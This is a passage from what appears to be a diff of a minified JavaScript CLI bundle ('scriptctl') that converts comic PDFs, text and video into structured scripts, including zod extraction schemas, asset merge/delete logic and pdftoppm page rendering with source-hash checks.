Set(h.state_ids.map(_=>p.get(_)??"default"))].sort():h.state_id=p.get(h.state_id)??"default");if(l!=="location"&&Array.isArray(g)){let h=[];for(let _ of g){let x=h.find(E=>E[a]===_[a]);if(!x){h.push(_);continue}e.version===4&&(x.state_ids=[...new Set([...x.state_ids,..._.state_ids])].sort())}m.raw[l]=h}}for(let m of u)m.raw.speaker.actor_id=c.id,m.raw.speaker.state_id&&(m.raw.speaker.state_id=p.get(m.raw.speaker.state_id)??"default");let y=e.raw[Ep[s.kind]];return y.splice(y.indexOf(s.raw),1),Q("merge",`${s.id} -> ${c.id}: ${f.length} scenes, ${u.length} speakers`),be(e),`merged ${s.id} ${s.name} into ${c.id} ${c.name}
209
- moved ${f.length} scene reference(s), ${u.length} speaker(s), ${[...p].filter(([m,g])=>m!==g).length} state mapping(s)`+Be(e,r)}import{z as Vt}from"zod";var Q5=Vt.string().min(1),F5=Vt.array(Vt.number().int().min(1)).min(1).describe("1-based PDF \u7269\u7406\u9875\u7801\uFF1B\u8DE8\u9875\u753B\u683C\u6216\u540C\u4E00\u6C14\u6CE1\u586B\u5199\u76F8\u5173\u7684\u5168\u90E8\u9875\u7801\uFF1B\u540C\u4E00\u4E2A\u8DE8\u9875\u6C14\u6CE1\u5408\u4E3A\u4E00\u6761\u5B8C\u6574\u5BF9\u767D\uFF0C\u6309\u5347\u5E8F\u6392\u5217"),ma=Vt.number().min(0).max(1e3),ga=Vt.object({page:Vt.number().int().min(1),kind:Vt.enum(["panel","bubble","text"]),box:Vt.object({top:ma,left:ma,bottom:ma,right:ma}).describe("\u76F8\u5BF9\u4E8E\u5B8C\u6574 PDF \u7269\u7406\u9875\u7684\u77E9\u5F62\uFF0C\u5DE6\u4E0A\u89D2\u4E3A\u539F\u70B9\uFF0C\u6A2A\u7EB5\u5404\u5F52\u4E00\u5316\u5230 0\u20131000\uFF1B\u4E0D\u662F\u88C1\u526A\u56FE\u6216\u753B\u683C\u5185\u7684\u5750\u6807")}),ha=Vt.array(ga).min(1).describe("\u672C\u6761\u6B63\u6587\u5B9E\u9645\u5BF9\u5E94\u7684\u753B\u683C(panel)\u3001\u6C14\u6CE1(bubble)\u6216\u72EC\u7ACB\u6587\u5B57\u5757(text)\uFF1B\u6309\u9605\u8BFB\u987A\u5E8F\u5217\u51FA\u5168\u90E8\u533A\u57DF\u3002\u8DE8\u9875\u533A\u57DF\u5404\u9875\u5206\u522B\u7ED9\u6846\uFF0C\u4E0D\u7528\u6574\u9875\u4EE3\u66FF\u5177\u4F53\u5185\u5BB9");function Xr(e,t){let n=[];for(let o of t){e.includes(o.page)||n.push(`Region page ${o.page} is absent from action pages.`);let{top:i,left:r,bottom:s,right:c}=o.box;(s<=i||c<=r)&&n.push(`Region on page ${o.page} has an empty or inverted box.`)}for(let o of e)t.some(i=>i.page===o)||n.push(`Page ${o} has no source region.`);return n}var Um=Vt.object({kind:Vt.literal("comic"),document_id:Q5,pages:F5,regions:ha.optional()}),ui=Vt.object({scriptctl:Vt.object({source:Um})});import{z as J}from"zod";var nt=J.string().min(1),Uo=J.array(nt),Pm=J.object({name:nt,description:nt.describe("\u8BE5\u9636\u6BB5\u72EC\u7ACB\u5B8C\u6574\u7684\u53EF\u89C1\u5916\u8C8C\uFF0C\u5305\u62EC\u8DE8\u9636\u6BB5\u76F8\u540C\u7279\u5F81\uFF1B\u53D1\u58F0\u7279\u5F81\u4EC5\u91C7\u7528\u6F2B\u753B\u6587\u5B57\u660E\u786E\u8BF4\u660E\u7684\u4E8B\u5B9E")}),Ip=J.string().length(0),Ap=J.object({apparent_gender:J.string(),apparent_age:J.string(),face_shape:J.string(),brows_eyes:J.string(),nose:J.string(),mouth:J.string(),skin_features:J.string(),hair:J.string(),build:J.string(),persistent_marks:Uo,voice:Ip.describe("\u6F2B\u753B\u6CA1\u6709\u539F\u58F0\u97F3\u8F68\uFF0C\u586B\u7A7A\u4E32")}).describe("\u753B\u50CF\u5B57\u7B26\u4E32\u586B\u7A7A\u4E32\u3001persistent_marks \u586B\u7A7A\u6570\u7EC4\uFF1B\u5168\u90E8\u5916\u8C8C\u4E0E\u8EAB\u4F53\u6807\u8BB0\u5199\u5165\u5404\u9636\u6BB5\u5B8C\u6574 state"),Y5=J.object({name:nt,kind:J.enum(["actor","location","prop"]),status:J.enum(["canonical","provisional"]),importance:J.enum(["featured","background"]),recognition_anchors:Uo.describe("\u586B\u7A7A\u6570\u7EC4\uFF1B\u4EBA\u7269\u8BC6\u522B\u7279\u5F81\u4FDD\u5B58\u5728\u5BF9\u5E94 state"),identity_profile:Ap,appearance:J.string(),role:J.string().describe("\u4EBA\u7269\u53EA\u5199\u5DF2\u786E\u8BA4\u7684\u8EAB\u4EFD\u79F0\u8C13\u4E0E\u5173\u7CFB\uFF1B\u5730\u70B9/\u9053\u5177\u5199\u7528\u9014"),states:J.array(Pm),aliases:Uo}),q5=J.object({new_entities:J.array(Y5),enrich:J.array(J.object({name:nt,add_recognition_anchors:Uo.describe("\u586B\u7A7A\u6570\u7EC4"),identity_profile_patch:Ap,identity_revision:J.object({profile:Ap,recognition_anchors:Uo}).describe("\u65E2\u6709\u753B\u50CF\u6216\u951A\u70B9\u975E\u7A7A\u65F6\u63D0\u4F9B\u5168\u7A7A profile \u548C\u7A7A recognition_anchors\uFF1B\u6709\u8BC1\u636E\u7684\u4E8B\u5B9E\u8865\u5165\u9002\u7528 state\uFF0Crole \u5B8C\u6574\u7ED9\u51FA\u8EAB\u4EFD\u5173\u7CFB\uFF0C\u663E\u5F0F\u7A7A\u4E32\u6E05\u9664\u65E7 role").optional(),appearance:J.string(),role:J.string().describe("\u4EBA\u7269\u5DF2\u786E\u8BA4\u7684\u8EAB\u4EFD\u79F0\u8C13\u4E0E\u5173\u7CFB\uFF1B\u5730\u70B9/\u9053\u5177\u5199\u7528\u9014\u3002\u63D0\u4F9B identity_revision \u65F6\u586B\u5199\u5B8C\u6574\u8EAB\u4EFD\u5173\u7CFB\uFF0C\u7A7A\u4E32\u6E05\u9664\u65E7 role\uFF1B\u666E\u901A\u589E\u91CF\u65E0\u66F4\u65B0\u586B\u7A7A\u4E32"),add_aliases:Uo,add_states:J.array(Pm)})),canonicalize:J.array(J.object({from_name:nt,canonical_name:nt,evidence:nt.describe("\u672C\u8BDD PDF \u9875\u7801\u548C\u76F4\u63A5\u51FA\u73B0\u7684\u59D3\u540D\u539F\u6587")}))}),Cm=J.array(J.number().int().min(1)).min(1).describe("1-based PDF \u7269\u7406\u9875\u7801\uFF1B\u8DE8\u9875\u753B\u683C\u6216\u540C\u4E00\u6C14\u6CE1\u586B\u5199\u76F8\u5173\u7684\u5168\u90E8\u9875\u7801\uFF1B\u540C\u4E00\u4E2A\u8DE8\u9875\u6C14\u6CE1\u5408\u4E3A\u4E00\u6761\u5B8C\u6574\u5BF9\u767D\uFF0C\u6309\u5347\u5E8F\u6392\u5217"),Tm="\u4EBA\u7269\u89C4\u8303\u540D\uFF1B\u5BA2\u89C2\u65C1\u767D\u7528 offscreen:\u65C1\u767D\uFF0C\u7CFB\u7EDF\u53D1\u58F0\u7528 system:\u7CFB\u7EDF\uFF0C\u7FA4\u4F53\u7528 group:\u79F0\u547C",Vm="\u4E25\u683C\u6309\u6F2B\u753B\u9605\u8BFB\u987A\u5E8F\u6392\u5217\uFF0C\u753B\u9762\u548C\u5BF9\u767D\u4EA4\u9519\uFF1B\u9010\u683C\u5B8C\u6574\u8F6C\u5199",$m=J.object({type:J.enum(["dialogue","inner_thought"]),content:nt,pages:Cm,regions:ha,speaker:nt.describe(Tm),parenthetical:J.string()}),Z5=J.discriminatedUnion("type",[J.object({type:J.enum(["action","transition"]),content:nt,pages:Cm,regions:ha}),$m]),Dm=J.object({space:J.union([J.enum(["interior","exterior"]),Ip]),time:J.union([J.enum(["day","night","dawn","dusk"]),Ip]),location:J.string().describe("\u672C\u573A\u5730\u70B9\u7684\u89C4\u8303\u540D\uFF0C\u5FC5\u987B\u5DF2\u5728\u5DF2\u77E5\u8BBE\u5B9A\u6216\u672C\u6B21 registry_delta \u767B\u8BB0\uFF1B\u7A7A\u95F4\u65E0\u6CD5\u786E\u8BA4\u586B\u7A7A\u4E32"),characters:J.array(J.object({name:nt,states:Uo})),props:Uo,actions:J.array(Z5).min(1).describe(Vm)}),ya=J.object({registry_delta:q5,synopsis:nt,scenes:J.array(Dm).min(1),open_threads:J.object({opened:J.array(J.object({text:nt})),closed:J.array(J.object({ref:nt}))}),ignored_pages:J.array(J.object({page:J.number().int().min(1),reason:nt.describe("\u53EA\u7528\u4E8E\u6574\u9875\u7A7A\u767D\u3001\u5C01\u9762\u6216\u5236\u4F5C\u4FE1\u606F\uFF1B\u542B\u5267\u60C5\u6216\u53F0\u8BCD\u7684\u9875\u9762\u5FC5\u987B\u8F6C\u5199")}))}),Gm=ya.extend({scenes:J.array(Dm.extend({actions:J.array($m.extend({type:J.enum(["action","transition","dialogue","inner_thought"]),speaker:J.string().describe(`${Tm}\uFF1Baction/transition \u586B\u7A7A\u4E32`)})).min(1).describe(Vm)})).min(1)});import*as Oe from"node:fs";import*as St from"node:path";import{spawn as W5}from"node:child_process";import{createHash as X5}from"node:crypto";import{PDFDocument as Bm}from"pdf-lib";var kp=1200;function Jm(e,t){return new Promise((n,o)=>{let i=W5("pdftoppm",["-cropbox","-scale-to-x",String(kp),"-scale-to-y","-1","-jpeg","-jpegopt","quality=92",e,t],{stdio:["ignore","ignore","pipe"]}),r="";i.stderr.on("data",s=>{r+=String(s)}),i.on("error",s=>o(new S(`Cannot render comic pages: ${s.message}`,{exitCode:b,errorCode:"VIEW_PDF_RENDER_FAILED",hint:"Install Poppler (pdftoppm), then rerun scriptctl view."}))),i.on("close",s=>{s===0?n():o(new S(`PDF page rendering failed: ${r.trim()}`,{exitCode:b,errorCode:"VIEW_PDF_RENDER_FAILED",data:{actual:[e]}}))})})}async function wa(e,t){let n=`review-pages/cropbox-w${kp}-q92/${e.sha256}`,o=St.join(t,n),i=String(e.page_count).length,r=Array.from({length:e.page_count},(s,c)=>`page-${String(c+1).padStart(i,"0")}.jpg`);if(!r.every(s=>Oe.existsSync(St.join(o,s)))){let s=`${o}.part`;Oe.rmSync(s,{recursive:!0,force:!0}),Oe.mkdirSync(s,{recursive:!0}),process.stderr.write(`\u6E32\u67D3\u6F2B\u753B\u539F\u9875 \xB7 ${e.title} \xB7 ${e.page_count} \u9875
210
- `),await Jm(e.path,St.join(s,"page"));for(let c of r)if(!Oe.existsSync(St.join(s,c))||Oe.statSync(St.join(s,c)).size===0)throw new S(`PDF renderer did not produce ${c}.`,{exitCode:b,errorCode:"VIEW_PDF_RENDER_FAILED"});Oe.rmSync(o,{recursive:!0,force:!0}),Oe.renameSync(s,o)}return r.map(s=>`${n}/${s}`)}async function Km(e,t,n){ga.parse(t);let o=Xr([t.page],[t]);if(t.page>e.page_count||o.length)throw new Error(`Invalid comic region: ${o.join("; ")}`);let i=X5("sha256").update(JSON.stringify(t)).digest("hex"),r=`review-pages/cropbox-w${kp}-q92/${e.sha256}/regions/${i}.jpg`,s=St.join(n,r);if(Oe.existsSync(s)&&Oe.statSync(s).size>0)return r;let c=await Bm.load(Oe.readFileSync(e.path)),a=await Bm.create(),[d]=await a.copyPages(c,[t.page-1]),p=d.getCropBox(),l=(d.getRotation().angle%360+360)%360,{left:f,right:u,top:y,bottom:m}=t.box,g=f/1e3,w=u/1e3,h=y/1e3,_=m/1e3,x=l===90?[h,g,_,w]:l===180?[1-w,h,1-g,_]:l===270?[1-_,1-w,1-h,1-g]:[g,1-_,w,1-h];d.setCropBox(p.x+x[0]*p.width,p.y+x[1]*p.height,(x[2]-x[0])*p.width,(x[3]-x[1])*p.height),a.addPage(d),Oe.mkdirSync(St.dirname(s),{recursive:!0});let E=Oe.mkdtempSync(St.join(St.dirname(s),".region-"));try{let A=St.join(E,"crop.pdf");Oe.writeFileSync(A,await a.save()),await Jm(A,St.join(E,"page")),Oe.renameSync(St.join(E,"page-1.jpg"),s)}finally{Oe.rmSync(E,{recursive:!0,force:!0})}return r}var eS=ot.object({episode:ot.number().int().positive(),document_id:ot.string().min(1),source_number:ot.number().nullable(),title:ot.string(),path:ot.string(),sha256:ot.string(),page_count:ot.number().int().positive(),size_bytes:ot.number()}),tS=ot.object({source:ot.object({kind:ot.enum(["comic-file","comic-directory"])}),episodes:ot.array(eS)});function tn(e){throw new S(e,{exitCode:b,errorCode:"REVIEW_COMIC_SOURCE_INVALID",hint:"Pass -s to the comic ingest workspace, or to its original PDF files with manifest.json beside script.json. Keep the original source PDFs unchanged."})}function nS(e){let t=it.join(e,"manifest.json");if(!rt.existsSync(t))return!1;let n=ot.object({source:ot.object({kind:ot.string()}).optional()}).parse(JSON.parse(rt.readFileSync(t,"utf8")));return n.source?.kind==="comic-file"||n.source?.kind==="comic-directory"}async function zm(e,t,n){let o=rt.statSync(e).isDirectory()&&nS(e)?it.resolve(e):it.dirname(it.resolve(t)),i=it.join(o,"manifest.json");rt.existsSync(i)||tn("Comic review needs the ingest manifest to verify source identity.");let r=tS.safeParse(JSON.parse(rt.readFileSync(i,"utf8")));r.success||tn(`Invalid comic manifest: ${r.error.message}`);let s=r.data,c=Lo(JSON.parse(rt.readFileSync(t,"utf8")));c.version!==4&&tn("Comic source review requires the ingested Script v4.");let a=c.episodes.filter(w=>!n?.length||n.includes(w.no));a.length||tn("No selected episodes exist in this script.");let d=it.resolve(e)===o?void 0:rt.statSync(e).isFile()?[it.resolve(e)]:rt.readdirSync(e).filter(w=>/\.pdf$/i.test(w)).map(w=>it.resolve(e,w)),p=new Map;for(let w of d??[])p.set(jm("sha256").update(rt.readFileSync(w)).digest("hex"),w);let l=new Map,f=[];for(let w of a){let h=new Set(w.scenes.flatMap(_=>_.actions.flatMap(x=>{let E=ui.safeParse(x.raw.extend);return E.success?[E.data.scriptctl.source.document_id]:[]})));h.size||tn(`Episode ${w.no} has no comic document identity; cannot safely match an original PDF.`);for(let _ of h){let x=s.episodes.find(N=>N.document_id===_);x||tn(`Unknown comic document: ${_}`),f.some(N=>N.document_id===_&&N.episode!==w.no)&&tn(`Comic document ${_} is bound to multiple script episodes.`);let E=d?p.get(x.sha256):it.resolve(o,x.path);(!E||!rt.existsSync(E))&&tn(`Original PDF missing or changed: ${x.title}`),jm("sha256").update(rt.readFileSync(E)).digest("hex")!==x.sha256&&tn(`Original PDF content changed: ${x.title}`);let k={...x,path:E};l.set(_,k),f.push({document_id:_,episode:w.no,title:x.title,page_count:x.page_count})}}let u=new Map,y=it.dirname(it.resolve(t));function m(w){let h=l.get(w);return h||tn(`Comic document not available: ${w}`)}function g(w,h){return{path:w,label:h,data:rt.readFileSync(w).toString("base64")}}return{documents:f,async page(w,h){let _=m(w);(!Number.isInteger(h)||h<1||h>_.page_count)&&tn(`Invalid page ${h} in ${w}.`);let x=u.get(w);x||(x=wa(_,y),u.set(w,x));let E=await x;return g(it.join(y,E[h-1]),`${w} \u7B2C ${h} \u9875\u6982\u89C8\uFF1B\u6587\u5B57\u4E0D\u6E05\u65F6\u7528 region \u653E\u5927`)},async region(w,h){let _=await Km(m(w),h,y);return g(it.join(y,_),`${w} \u7B2C ${h.page} \u9875 ${JSON.stringify(h.box)}`)}}}import*as On from"node:fs";import*as ts from"node:path";import{z as Rp}from"zod";import*as tr from"node:fs";import*as er from"node:path";var vp=[".txt",".md",".docx"],Op={".mp4":"video/mp4",".mov":"video/mov",".avi":"video/avi",".mpeg":"video/mpeg",".mpg":"video/mpg",".webm":"video/webm",".flv":"video/x-flv",".wmv":"video/wmv"},es=class extends Error{constructor(n){super(`Unsupported input: ${n}`);this.received=n}received};function bp(e){return er.extname(e).toLowerCase()}function Hm(e){return Object.hasOwn(Op,e)}function vn(e){if(tr.statSync(e).isDirectory()){let o=tr.readdirSync(e).filter(r=>!r.startsWith(".")&&bp(r)===".pdf"&&tr.statSync(er.join(e,r)).isFile()).sort().map(r=>er.join(e,r)),i=tr.readdirSync(e).filter(r=>!r.startsWith(".")).filter(r=>Hm(bp(r))).sort().map(r=>er.join(e,r));if(o.length&&i.length)throw new es("directory mixes PDF comics and video episodes; use a directory with one source kind");if(o.length)return{kind:"comic-directory",path:e,files:o};if(i.length===0)throw new es(`directory has no supported video or PDF files: ${e}`);return{kind:"video-directory",path:e,files:i}}let n=bp(e);if(n===".pdf")return{kind:"comic-file",path:e,ext:n};if(vp.includes(n))return{kind:"text",path:e,ext:n};if(Hm(n))return{kind:"video-file",path:e,ext:n};throw new es(`file extension ${n||"(none)"} is not supported by ingest (txt/md/docx/video/pdf only)`)}var Qm=/\.(mp4|mov|mkv|m4v|webm|avi|mpeg|mpg|flv|wmv)$/i;function Fm(e,t=!1){if(t)return"video";if(!e)return"script";if(!On.existsSync(e))throw new S("Review source not found.",{exitCode:b,errorCode:"REVIEW_SOURCE_NOT_FOUND",hint:"Pass an existing original source or ingest workspace, or omit -s for script-only review."});if(On.statSync(e).isFile()){if(/\.pdf$/i.test(e))return"comic";if(vp.some(n=>ts.extname(e).toLowerCase()===n))return"text";if(Qm.test(e))return"video"}else{let n=On.readdirSync(e).filter(s=>!s.startsWith(".")&&On.statSync(ts.join(e,s)).isFile()),o=n.some(s=>/\.pdf$/i.test(s)),i=n.some(s=>Qm.test(s));if(o&&i)throw new S("Review source mixes PDF and video files.",{exitCode:b,errorCode:"REVIEW_SOURCE_AMBIGUOUS",hint:"Use a source directory containing only one media kind."});if(i)return"video";if(o)return"comic";let r=ts.join(e,"manifest.json");if(On.existsSync(r)){let s=Rp.object({source:Rp.object({kind:Rp.string()})}).parse(JSON.parse(On.readFileSync(r,"utf8")));if(s.source.kind==="text")return"text";if(["comic-file","comic-directory"].includes(s.source.kind))return"comic"}}throw new S("Unsupported review source.",{exitCode:b,errorCode:"REVIEW_SOURCE_UNSUPPORTED",hint:"Use a text/comic ingest workspace, original txt/md/docx/PDF, a video file or a directory of videos."})}import*as Xn from"node:fs";import*as jt from"node:path";import{z as qe}from"zod";import{z as Zn}from"zod";var oS=Zn.object({start_line:Zn.number().int().positive(),end_line:Zn.number().int().positive()}),Mp=Zn.object({kind:Zn.literal("text"),document_id:Zn.string().min(1),ranges:Zn.array(oS).min(1).describe("\u5B8C\u6574\u89C4\u8303\u5316\u539F\u6587\u7684 1-based \u95ED\u533A\u95F4\uFF1B\u53EF\u4EE5\u662F\u5305\u542B\u76F8\u90BB\u5185\u5BB9\u7684\u5019\u9009\u7A97\u53E3\uFF0C\u9700\u8BFB\u53D6\u539F\u6587\u786E\u8BA4\u5BF9\u5E94\u5173\u7CFB")}),BL=Zn.object({scriptctl:Zn.object({source:Mp})});function _a(e){return`text-${e}`}import*as ng from"node:fs";import*as Ym from"node:fs";import qm from"jszip";import{XMLParser as sS}from"fast-xml-parser";function Zm(e){return e==null?"":String(e)}function Jt(e){return typeof e=="object"&&e!==null&&!Array.isArray(e)}function Le(e){return Array.isArray(e)}function Wm(e){if(e.length===0)return"";let t=[],n="";for(let o=1;o<e.length;o++){let i=e[o];if(i.filter(p=>p).length===0)continue;let s=i[0]??"";if(s.includes("\u{1F3AC}")||/第\s*\d+\s*集/.test(s)){t.push(`
206
+ `):`${s} has no extend data`}if(i){if(!(n in c))throw new Error(`${s} has no extend key "${n}"`);return delete c[n],Object.keys(c).length?r.extend=c:delete r.extend,Q("ext",`${s} -= ${n}`),be(e),`${s} removed extend.${n}`}if(o===void 0){if(!(n in c))throw new Error(`${s} has no extend key "${n}"`);return`${s} extend.${n} = ${JSON.stringify(c[n])}`}return r.extend={...c,[n]:o},Q("ext",`${s} extend.${n} = ${o}`),be(e),`${s} extend.${n} = ${JSON.stringify(o)}`}function Mm(e,t,n={}){let o=Te(e,t),i=ut(e);if(o.t==="action"){let r=o.action.scene.raw.actions;return r.splice(r.indexOf(o.action.raw),1),Q("del",`action ${o.action.anchor} from ${o.action.scene.anchor}`),be(e),`deleted ${o.action.anchor} ${ua(o.action.raw)}`+Be(e,i)}if(o.t==="scene"){if(o.scene.actions.length&&!n.force)throw new Error(`${o.scene.anchor} still holds ${o.scene.actions.length} action(s) \u2014 pass --force to delete the scene and everything in it`);let r=o.scene.ep.raw.scenes;return r.splice(r.indexOf(o.scene.raw),1),Q("del",`scene ${o.scene.anchor} (${o.scene.actions.length} actions)`),be(e),`deleted scene ${o.scene.anchor} with ${o.scene.actions.length} action(s)`+Be(e,i)}if(o.t==="ep"){let r=o.ep.scenes.reduce((c,a)=>c+a.actions.length,0);if(o.ep.scenes.length&&!n.force)throw new Error(`episode ${o.ep.no} still holds ${o.ep.scenes.length} scene(s) / ${r} action(s) \u2014 pass --force to delete the episode and everything in it`);let s=e.raw.episodes;return s.splice(s.indexOf(o.ep.raw),1),Q("del",`episode ${o.ep.no}`),be(e),`deleted episode ${o.ep.no} (${o.ep.id}) with ${o.ep.scenes.length} scene(s) / ${r} action(s)`}if(o.t==="asset")return z5(e,o.asset,n)+Be(e,i);if(o.t==="state")return H5(e,o.asset,o.state,n)+Be(e,i);throw new Error(`del takes an action, scene, episode, asset or state (got ${o.t})`)}function Lm(e,t){let n=[];for(let o of e.episodes)for(let i of o.scenes)[i.location,...i.actors,...i.props].some(r=>r&&r.id===t)&&n.push(i);return{scenes:n,speakers:kn(e).filter(o=>o.speaker?.id===t)}}function z5(e,t,n){let{scenes:o,speakers:i}=Lm(e,t.id),r=o.length+i.length;if(r&&!n.replacement&&!n.force)throw new Error(`${t.name} is still referenced by ${o.length} scene(s) and ${i.length} speaker(s) \u2014 merge it into another asset with \`merge ${t.id} <other>\`, or pass --force to strip every reference`);if(n.replacement)return Ep(e,t.id,n.replacement);for(let a of o){a.raw.location?.[`${t.kind}_id`]===t.id&&(a.raw.location=null);for(let d of["actors","props"]){let p=a.raw[d];if(!p)continue;let l=p.findIndex(f=>f[`${t.kind}_id`]===t.id);l>=0&&p.splice(l,1)}}for(let a of i)delete a.raw.speaker;let s=_p[t.kind],c=e.raw[s];return c.splice(c.indexOf(t.raw),1),Q("del",`asset ${t.id}, stripped ${o.length} scene refs + ${i.length} speakers`),be(e),`deleted ${t.kind} ${t.id} ${t.name}`+(r?`
207
+ stripped ${o.length} scene reference(s) and ${i.length} speaker(s)`:"")}function H5(e,t,n,o){if(n.id==="default")throw new Error("every asset keeps its default state; delete the asset instead");let i=e.episodes.flatMap(d=>d.scenes).filter(d=>[d.location,...d.actors,...d.props].some(p=>p&&p.id===t.id&&p.states.includes(n.id))),r=kn(e).filter(d=>d.speaker?.id===t.id&&d.speaker.state===n.id),s=i.length+r.length,c="";if(s){if(!o.replacement&&!o.force)throw new Error(`${t.name}/${n.name} is bound in ${i.length} scene(s) and named by ${r.length} speaker(s) \u2014 pass --replacement <state> to rewire them, or --force to drop the bindings`);let d;if(o.replacement){let p=t.states.filter(l=>l.id===o.replacement||l.name===o.replacement);if(p.length!==1)throw new Error(`${t.name} has no single state "${o.replacement}"`);if(p[0].id===n.id)throw new Error("replacement must differ from the state being deleted");d=p[0].id}for(let p of i)for(let l of[p.raw.location,...p.raw.actors??[],...p.raw.props??[]])if(!(!l||l[`${t.kind}_id`]!==t.id))if(e.version===4){let f=new Set(l.state_ids.filter(u=>u!==n.id));d&&f.add(d),f.size||f.add("default"),l.state_ids=[...f].sort()}else l.state_id=d??"default";for(let p of r)d?p.raw.speaker.state_id=d:delete p.raw.speaker.state_id;c=`
208
+ ${d?"rewired":"cleared"} ${i.length} scene binding(s) and ${r.length} speaker(s)${d?` to ${di(e,t.id,d)}`:""}`}let a=t.raw.states;return a.splice(a.findIndex(d=>d.state_id===n.id),1),Q("del",`state ${t.id}/${n.id}`),be(e),`deleted state ${t.id}/${n.id} ${n.name}`+c}function Ep(e,t,n){let o=Te(e,t),i=Te(e,n);if(o.t!=="asset"||i.t!=="asset")throw new Error("merge takes two assets");if(o.asset===i.asset)throw new Error(`cannot merge ${o.asset.name} into itself`);if(o.asset.kind!==i.asset.kind)throw new Error(`cannot merge a ${o.asset.kind} into a ${i.asset.kind}`);let r=ut(e),s=o.asset,c=i.asset,a=`${s.kind}_id`,d=new Set(c.states.map(m=>m.id)),p=new Map;for(let m of s.states){let g=c.states.find(h=>h.name===m.name);if(g){p.set(m.id,g.id);continue}if(m.id==="default"){p.set(m.id,"default");continue}let w=e.version===4?Lo("st",d):`st_${String(c.states.length+p.size).padStart(3,"0")}`;c.raw.states.push({state_id:w,state_name:m.name,description:m.desc}),p.set(m.id,w)}let l=K5[s.kind],{scenes:f,speakers:u}=Lm(e,s.id);for(let m of f){let g=m.raw[l],w=l==="location"?g?[g]:[]:g??[];for(let h of w)h[a]===s.id&&(h[a]=c.id,e.version===4?h.state_ids=[...new Set(h.state_ids.map(_=>p.get(_)??"default"))].sort():h.state_id=p.get(h.state_id)??"default");if(l!=="location"&&Array.isArray(g)){let h=[];for(let _ of g){let x=h.find(E=>E[a]===_[a]);if(!x){h.push(_);continue}e.version===4&&(x.state_ids=[...new Set([...x.state_ids,..._.state_ids])].sort())}m.raw[l]=h}}for(let m of u)m.raw.speaker.actor_id=c.id,m.raw.speaker.state_id&&(m.raw.speaker.state_id=p.get(m.raw.speaker.state_id)??"default");let y=e.raw[_p[s.kind]];return y.splice(y.indexOf(s.raw),1),Q("merge",`${s.id} -> ${c.id}: ${f.length} scenes, ${u.length} speakers`),be(e),`merged ${s.id} ${s.name} into ${c.id} ${c.name}
209
+ moved ${f.length} scene reference(s), ${u.length} speaker(s), ${[...p].filter(([m,g])=>m!==g).length} state mapping(s)`+Be(e,r)}import{z as Vt}from"zod";var Q5=Vt.string().min(1),F5=Vt.array(Vt.number().int().min(1)).min(1).describe("1-based PDF \u7269\u7406\u9875\u7801\uFF1B\u8DE8\u9875\u753B\u683C\u6216\u540C\u4E00\u6C14\u6CE1\u586B\u5199\u76F8\u5173\u7684\u5168\u90E8\u9875\u7801\uFF1B\u540C\u4E00\u4E2A\u8DE8\u9875\u6C14\u6CE1\u5408\u4E3A\u4E00\u6761\u5B8C\u6574\u5BF9\u767D\uFF0C\u6309\u5347\u5E8F\u6392\u5217"),fa=Vt.number().min(0).max(1e3),ma=Vt.object({page:Vt.number().int().min(1),kind:Vt.enum(["panel","bubble","text"]),box:Vt.object({top:fa,left:fa,bottom:fa,right:fa}).describe("\u76F8\u5BF9\u4E8E\u5B8C\u6574 PDF \u7269\u7406\u9875\u7684\u77E9\u5F62\uFF0C\u5DE6\u4E0A\u89D2\u4E3A\u539F\u70B9\uFF0C\u6A2A\u7EB5\u5404\u5F52\u4E00\u5316\u5230 0\u20131000\uFF1B\u4E0D\u662F\u88C1\u526A\u56FE\u6216\u753B\u683C\u5185\u7684\u5750\u6807")}),ga=Vt.array(ma).min(1).describe("\u672C\u6761\u6B63\u6587\u5B9E\u9645\u5BF9\u5E94\u7684\u753B\u683C(panel)\u3001\u6C14\u6CE1(bubble)\u6216\u72EC\u7ACB\u6587\u5B57\u5757(text)\uFF1B\u6309\u9605\u8BFB\u987A\u5E8F\u5217\u51FA\u5168\u90E8\u533A\u57DF\u3002\u8DE8\u9875\u533A\u57DF\u5404\u9875\u5206\u522B\u7ED9\u6846\uFF0C\u4E0D\u7528\u6574\u9875\u4EE3\u66FF\u5177\u4F53\u5185\u5BB9");function Zr(e,t){let n=[];for(let o of t){e.includes(o.page)||n.push(`Region page ${o.page} is absent from action pages.`);let{top:i,left:r,bottom:s,right:c}=o.box;(s<=i||c<=r)&&n.push(`Region on page ${o.page} has an empty or inverted box.`)}for(let o of e)t.some(i=>i.page===o)||n.push(`Page ${o} has no source region.`);return n}var Nm=Vt.object({kind:Vt.literal("comic"),document_id:Q5,pages:F5,regions:ga.optional()}),li=Vt.object({scriptctl:Vt.object({source:Nm})});import{z as J}from"zod";var nt=J.string().min(1),No=J.array(nt),Um=J.object({name:nt,description:nt.describe("\u8BE5\u9636\u6BB5\u72EC\u7ACB\u5B8C\u6574\u7684\u53EF\u89C1\u5916\u8C8C\uFF0C\u5305\u62EC\u8DE8\u9636\u6BB5\u76F8\u540C\u7279\u5F81\uFF1B\u53D1\u58F0\u7279\u5F81\u4EC5\u91C7\u7528\u6F2B\u753B\u6587\u5B57\u660E\u786E\u8BF4\u660E\u7684\u4E8B\u5B9E")}),Sp=J.string().length(0),Ip=J.object({apparent_gender:J.string(),apparent_age:J.string(),face_shape:J.string(),brows_eyes:J.string(),nose:J.string(),mouth:J.string(),skin_features:J.string(),hair:J.string(),build:J.string(),persistent_marks:No,voice:Sp.describe("\u6F2B\u753B\u6CA1\u6709\u539F\u58F0\u97F3\u8F68\uFF0C\u586B\u7A7A\u4E32")}).describe("\u753B\u50CF\u5B57\u7B26\u4E32\u586B\u7A7A\u4E32\u3001persistent_marks \u586B\u7A7A\u6570\u7EC4\uFF1B\u5168\u90E8\u5916\u8C8C\u4E0E\u8EAB\u4F53\u6807\u8BB0\u5199\u5165\u5404\u9636\u6BB5\u5B8C\u6574 state"),Y5=J.object({name:nt,kind:J.enum(["actor","location","prop"]),status:J.enum(["canonical","provisional"]),importance:J.enum(["featured","background"]),recognition_anchors:No.describe("\u586B\u7A7A\u6570\u7EC4\uFF1B\u4EBA\u7269\u8BC6\u522B\u7279\u5F81\u4FDD\u5B58\u5728\u5BF9\u5E94 